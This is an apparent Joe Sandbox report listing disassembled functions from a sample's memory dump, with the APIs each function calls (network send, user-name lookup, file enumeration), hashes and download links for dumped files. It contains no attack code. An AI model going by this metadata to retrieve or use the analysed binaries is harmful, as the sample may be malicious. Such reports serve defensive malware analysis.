Function 00007FF75A6B3FF0 Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A6C0610: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6C0778
Part of subcall function 00007FF75A6C0610: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C0784

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B447D

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: a096e6afe43b4a60c4f89eac60ba77c0d5c5e009f354000b0d567cc97446c98a
Instruction ID: dc80c7ca480d859ed97ac5f6004f6befadcf91cad38fd1913757beeee68a6506
Opcode Fuzzy Hash: a096e6afe43b4a60c4f89eac60ba77c0d5c5e009f354000b0d567cc97446c98a
Instruction Fuzzy Hash: CFE15822B18B4984FB10EB65E4442ADB772FB44B98F894576CF5D17B9ACF38D890C360

Function 00007FF75A6B0CA0 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B0FA7

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: af28a2458ac18bf6793613d409dbb9ce21ecec15dfcf46b87960a54d9631e338
Instruction ID: 0cec1912344267f61bfa9a612c02c4da5cd0a72928f4a0e9de6124bdcd3999d5
Opcode Fuzzy Hash: af28a2458ac18bf6793613d409dbb9ce21ecec15dfcf46b87960a54d9631e338
Instruction Fuzzy Hash: 35B19B72704B848AEB20DF25D0902ACB7A5FB48B58F895672EA5E47B98DF38D855C310

Function 00007FF75A6FD640 Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6FD829

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 3476069c0fa1cf4b55027b6adf788e79bbea7519a4c0839250e036c88389afe2
Instruction ID: 4df8903da5945f46200a75334838e194524e03e625b877605045193f8cf305bd
Opcode Fuzzy Hash: 3476069c0fa1cf4b55027b6adf788e79bbea7519a4c0839250e036c88389afe2
Instruction Fuzzy Hash: 4C51C612F08A828AFB119F78D4403BCB372EF54B4CF485671DF4D26A99DF38A5968364

Function 00007FF75A70D8C8 Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A70D8F0

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 506399ceb7efd258d9ee9312528a7fb0108d3bcc24f039aa6e7519c78468f3b6
Instruction ID: 16773a9603e51fbbad0ed6b62b969f94056d0ac0832ac9276591be2e50cebb21
Opcode Fuzzy Hash: 506399ceb7efd258d9ee9312528a7fb0108d3bcc24f039aa6e7519c78468f3b6
Instruction Fuzzy Hash: 2641D736A1834187FB64AF18D941279B7A0FF9A751F980970D69E836D2DF2CE502CB70

Function 00007FF75A6F5FC0 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6147

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 64e668885338bf2eac2e1347390ae7b37dbc7c366067bac987201ba3635f5159
Instruction ID: ed0f8dc355aa3701cdf839e3958982855380568034ac447b3f962b913ba547a5
Opcode Fuzzy Hash: 64e668885338bf2eac2e1347390ae7b37dbc7c366067bac987201ba3635f5159
Instruction Fuzzy Hash: DD414B72B15B498EFB008FB9D4413AC73B2E74CB98F405625EE9C66B89EE3481648394

Function 00007FF75A71080C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A710892

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a24f7c79d48368e33d7deb9d4eeecb52ce7ec7a6106812cc151fd4020b53ad0d
Instruction ID: 1eecfe2d9cb61a59f595e355a150da287637ca12a9750778f21fd6fb20e540dc
Opcode Fuzzy Hash: a24f7c79d48368e33d7deb9d4eeecb52ce7ec7a6106812cc151fd4020b53ad0d
Instruction Fuzzy Hash: E131A122E1C60285F7517F65884137CAA90BF88BA1FCA0AB5DA1D077D2CF7CE44287B4

Function 00007FF75A6B20B0 Relevance: 1.6, APIs: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B21A7

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c925320f46ae1d35358bbac1222783613e1c83ecb4b33bb2503be9c879a590b0
Instruction ID: 0084d57d9d63c807981db86844d0970412f7a051a033d818a42fe3592caf80d1
Opcode Fuzzy Hash: c925320f46ae1d35358bbac1222783613e1c83ecb4b33bb2503be9c879a590b0
Instruction Fuzzy Hash: 7F310676B05B4982EF099F69D49026C73A6EB88F89B988472CF0D07764DF3CD885C350

Function 00007FF75A6B1900 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B19D4

Part of subcall function 00007FF75A720E88: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF75A72C3D2), ref: 00007FF75A720ED8
Part of subcall function 00007FF75A720E88: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF75A72C3D2), ref: 00007FF75A720F19

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ExceptionFileHeaderRaise_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 38560573-0
Opcode ID: d3382c30930b80cccaf9dd4f682f073f92bb0937a51e85b6a7a6223b8303d594
Instruction ID: 901a16397d67e3f9b070af95dd514c3632a2c0f3d2afd362eb9fef4409910c9b
Opcode Fuzzy Hash: d3382c30930b80cccaf9dd4f682f073f92bb0937a51e85b6a7a6223b8303d594
Instruction Fuzzy Hash: BC316F62608BC955FB10FF21E4513ADA791FF48B84F884471DA8C07A4ADF7CD951C750

Function 00007FF75A714E91 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75A714EBF

Part of subcall function 00007FF75A714FB8: GetModuleHandleExW.KERNEL32 ref: 00007FF75A714FDD
Part of subcall function 00007FF75A714FB8: GetProcAddress.KERNEL32 ref: 00007FF75A714FF3
Part of subcall function 00007FF75A714FB8: FreeLibrary.KERNEL32 ref: 00007FF75A71501A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 9e03c0276b42d0bae273c9ceb8b8abd1e24865752fa8da44abca3c0ffcb1668a
Instruction ID: 5acb8280b63007c961ab1b77659c12ae9cf447046416b4741e0912abc9d83e54
Opcode Fuzzy Hash: 9e03c0276b42d0bae273c9ceb8b8abd1e24865752fa8da44abca3c0ffcb1668a
Instruction Fuzzy Hash: C2215A72A046418AFB24AF64C4442AC77E4EB8871CF980A76E72D47BD5DF78D584CBE0

Function 00007FF75A72FEF8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A72FF1B

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4bdd7c7df9abbb715da046ae302baf4d590079e7e30464498c50f0bf6b7ea38d
Instruction ID: 352b742c6975735c65c1e83cdbf7c07f22fa48ca29befb3696f88b4ef75c97ad
Opcode Fuzzy Hash: 4bdd7c7df9abbb715da046ae302baf4d590079e7e30464498c50f0bf6b7ea38d
Instruction Fuzzy Hash: F321D432A08A4287FB61AF18D440379B6A0FF89B94F984674EA6D476D9DF3DD4108B10

Function 00007FF75A72E200 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A72E15D

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 277766cc613ac521deff1262cc5973a4c6dda0ce244441028124d0478fb53980
Instruction ID: 80b3ef9c95717c711c33ad962035cd4910c53e67ee477238daa76e21f23f0c03
Opcode Fuzzy Hash: 277766cc613ac521deff1262cc5973a4c6dda0ce244441028124d0478fb53980
Instruction Fuzzy Hash: 1E116032A1D64181FA60BF11980027EEA60FF8DB80F8C48B1EB8C57696CF7ED5008B20

Function 00007FF75A7154B4 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A7154DF

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 42dcc955d4fd3197300f6b05653cf2d2f457e7ff6d65b15765544b4f1739082b
Instruction ID: a0d79dc285e0dec55ca55c5d259e29e01cb6a78405d00e9f801aa973ad50f41b
Opcode Fuzzy Hash: 42dcc955d4fd3197300f6b05653cf2d2f457e7ff6d65b15765544b4f1739082b
Instruction Fuzzy Hash: 0311193291964286F218AF14A840169F2A6FF48754F990CB5EA5D47696DF3CE8508B60

Function 00007FF75A69F380 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A69F3E3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ff0cc494d353a1ec7d43363e0801fd2479bc586109dcc0f93f3d887f5ea7b07c
Instruction ID: ca550b3dedd7967b17456ea09e3101cf50287338863edfa510a60b3ca6d088a7
Opcode Fuzzy Hash: ff0cc494d353a1ec7d43363e0801fd2479bc586109dcc0f93f3d887f5ea7b07c
Instruction Fuzzy Hash: 87F0C2A2A05A8645FF08AB24E00437CA396EF44F88F9804B1CA9C0A696DF7DC4C5C390

Function 00007FF75A6F0E00 Relevance: 1.5, APIs: 1, Instructions: 38networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF75A6F0E48

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 10723b900c3d3fb221c2729e0f2ab508e71a113b43aaaf7fd55bda6ca2804ccb
Instruction ID: 7e3eba17bcc5a5de2d5a409aca0943b582ed16a74e78e6962626dd4f52e9de4d
Opcode Fuzzy Hash: 10723b900c3d3fb221c2729e0f2ab508e71a113b43aaaf7fd55bda6ca2804ccb
Instruction Fuzzy Hash: 5D01AD26B18A8585EB509F1AB940529A7A1FB8CFD4F8C5270EE5D43B5CEF28D8828700

Function 00007FF75A6F6150 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF75A6F6195

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 543acbdf146a9e7b635a600a3cba3d05f3b2ef6cd278b1f660c9ea2185c3ff0f
Instruction ID: 8536c0701c8b9a2a3bb54622c1793095e4efddb20c43da1cb1c5a57b9a1e5c6a
Opcode Fuzzy Hash: 543acbdf146a9e7b635a600a3cba3d05f3b2ef6cd278b1f660c9ea2185c3ff0f
Instruction Fuzzy Hash: 4F01653291878182E720DF25E8403AAF3A1FF9C788F940135E68D42659DFBCD195CB40

Function 00007FF75A6A7633 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE ref: 00007FF75A6A7676

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 752fe5805e453647425062ce64daa4e53c54a82ad0d646f83825288564bb7983
Instruction ID: 192288e8a1f8c8fa1fe5c029aa586c7f35718d23531dd730c9761c4d2643e9fa
Opcode Fuzzy Hash: 752fe5805e453647425062ce64daa4e53c54a82ad0d646f83825288564bb7983
Instruction Fuzzy Hash: 8A014F2660CA8190EA70DF12F4842AAA360FB88B94F840472DE8D43B58DE3CD886CB10

Function 00007FF75A707374 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A707393

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 68ea0e6e30933e9dd76abf56f21314c638998a57c534cc3687c594a1fb5b02e7
Instruction ID: cca137af824bacccfcbd482a76c153f83d3b2a47e9af4d2f3b09c87c8cc0a8d0
Opcode Fuzzy Hash: 68ea0e6e30933e9dd76abf56f21314c638998a57c534cc3687c594a1fb5b02e7
Instruction Fuzzy Hash: 5EE09231A19A8285FB647FA9994517CF1547F5C7F0FD84BB1EB3C022C6DE3C94504A24

Function 00007FF75A71E9D0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF75A71E9E4

Part of subcall function 00007FF75A720E6C: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF75A720E74
Part of subcall function 00007FF75A720E6C: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF75A720E79

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
